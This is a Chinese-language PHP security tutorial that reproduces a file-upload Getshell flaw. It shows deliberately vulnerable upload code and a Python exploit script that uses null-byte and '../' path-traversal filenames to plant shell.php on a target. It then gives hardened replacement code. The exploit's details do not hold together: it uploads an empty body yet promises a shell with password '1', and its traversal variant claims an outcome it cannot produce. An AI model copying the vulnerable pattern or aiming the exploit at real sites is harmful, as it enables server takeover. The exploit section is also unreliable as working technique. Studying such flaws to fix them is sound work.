首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 編程語言 >  >> 網頁程式設計 >> PHP 程式設計 >> PHP 相關知識

Web 文件上傳漏洞:使用用戶文件名保存導致 Getshell 完整復現與修復

     編輯:PHP 相關知識

本文為漏洞系列獨立復現篇,詳細還原**直接使用 `$_FILES['name']` 保存**導致的經典 Getshell 鏈:雙重擴展名 + Null Byte 截斷 (PHP < 5.3.4) / 路徑遍歷 (通用) → 寫入 Web 目錄可執行腳本。附完整利用腳本、修復代碼對比。

漏洞代碼 (vuln.php)

<?php
if (isset($_FILES['img'])) {
    $file = save_file($_FILES['img']);
    if ($file === false) exit('上傳失敗!');
    echo "上傳成功!$file";
}

function check_file($img) {
    if ($img['error'] > 0) return false;
    $filename = $img['name'];
    $len = strrpos($filename, '.');
    if ($len === false) return false;
    $ext = strtolower(substr($filename, $len + 1));
    return in_array($ext, ['jpg', 'jpeg', 'png']);
}

function save_file($img) {
    if (!check_file($img)) return false;
    $filename = $img['name'];
    $newfile = "upload/" . $filename;
    if (!move_uploaded_file($img['tmp_name'], $newfile)) return false;
    return $newfile;
}
?>

利用腳本 (exp.py)

import requests

url = 'https://target.com/vuln.php'
# 構造雙重擴展名 + Null Byte (PHP < 5.3.4)
files = {
    'img': ('shell.php%00.jpg', b'', 'image/jpeg')
}
# 或路徑遍歷 (通用)
# files = {'img': ('../../../var/www/html/shell.php.jpg', b'', 'image/jpeg')}

r = requests.post(url, files=files)
print(r.text)
# 若輸出 "上傳成功!upload/shell.php" → Getshell 成功
# 連接: https://target.com/upload/shell.php  密碼: 1

漏洞成因逐層剖析

  1. check_file 取 `$img['name']` → `shell.php%00.jpg`
  2. `strrpos('.')` 找到最後一個點 → 後綴 `jpg` ✅ 通過白名單
  3. save_file 再次取 `$img['name']` 拼接路徑 → `upload/shell.php%00.jpg`
  4. `move_uploaded_file` 處理路徑:
    • PHP < 5.3.4:`%00` (Null Byte) 截斷 → 實際創建 `upload/shell.php` 💥
    • PHP ≥ 5.3.4:Null Byte 失效,但若用 `../` 路徑遍歷仍可跳出目錄 💥

修復代碼對比

漏洞版安全版
$filename = $img['name']; // 直接用$orig = basename($img['name']); // 去路徑
$ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION));
$newName = bin2hex(random_bytes(16)) . '.' . $ext; // 隨機名
$newfile = "upload/" . $filename;$dest = $uploadDir . $newName; // 基準目錄拼接
無內容檢測finfo_file(finfo_open(FILEINFO_MIME_TYPE), $tmp) // MIME 驗證
上傳目錄可執行Nginx: location /upload { deny all; }

完整安全版上傳處理

<?php
function secure_save(array $file): array {
    $uploadDir = __DIR__ . '/upload/';
    if (!is_dir($uploadDir)) mkdir($uploadDir, 0750, true);

    // 基礎校驗
    if ($file['error'] !== UPLOAD_ERR_OK) return ['ok'=>false, 'msg'=>'上傳錯誤'];
    if ($file['size'] > 2*1024*1024) return ['ok'=>false, 'msg'=>'文件過大'];

    // 後綴白名單
    $orig = basename($file['name']);
    $ext = strtolower(pathinfo($orig, PATHINFO_EXTENSION) ?? '');
    if (!in_array($ext, ['jpg','png','gif','webp'])) return ['ok'=>false, 'msg'=>'禁止的後綴'];

    // MIME 驗證
    $finfo = finfo_open(FILEINFO_MIME_TYPE);
    $mime = finfo_file($finfo, $file['tmp_name']);
    finfo_close($finfo);
    if (!in_array($mime, ['image/jpeg','image/png','image/gif','image/webp'])) {
        return ['ok'=>false, 'msg'=>'內容類型非法'];
    }

    // 隨機文件名
    $newName = bin2hex(random_bytes(16)) . '.' . $ext;
    $dest = $uploadDir . $newName;

    // 移動並設置權限
    if (!move_uploaded_file($file['tmp_name'], $dest)) return ['ok'=>false, 'msg'=>'保存失敗'];
    chmod($dest, 0640);

    return ['ok'=>true, 'url'=>'/upload/'.$newName, 'path'=>$dest];
}
?>

驗證修復效果

# 再次運行 exp.py
# 預期輸出: {"ok":false,"msg":"禁止的後綴"} 或 {"ok":false,"msg":"內容類型非法"}
# 無法寫入 shell.php
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved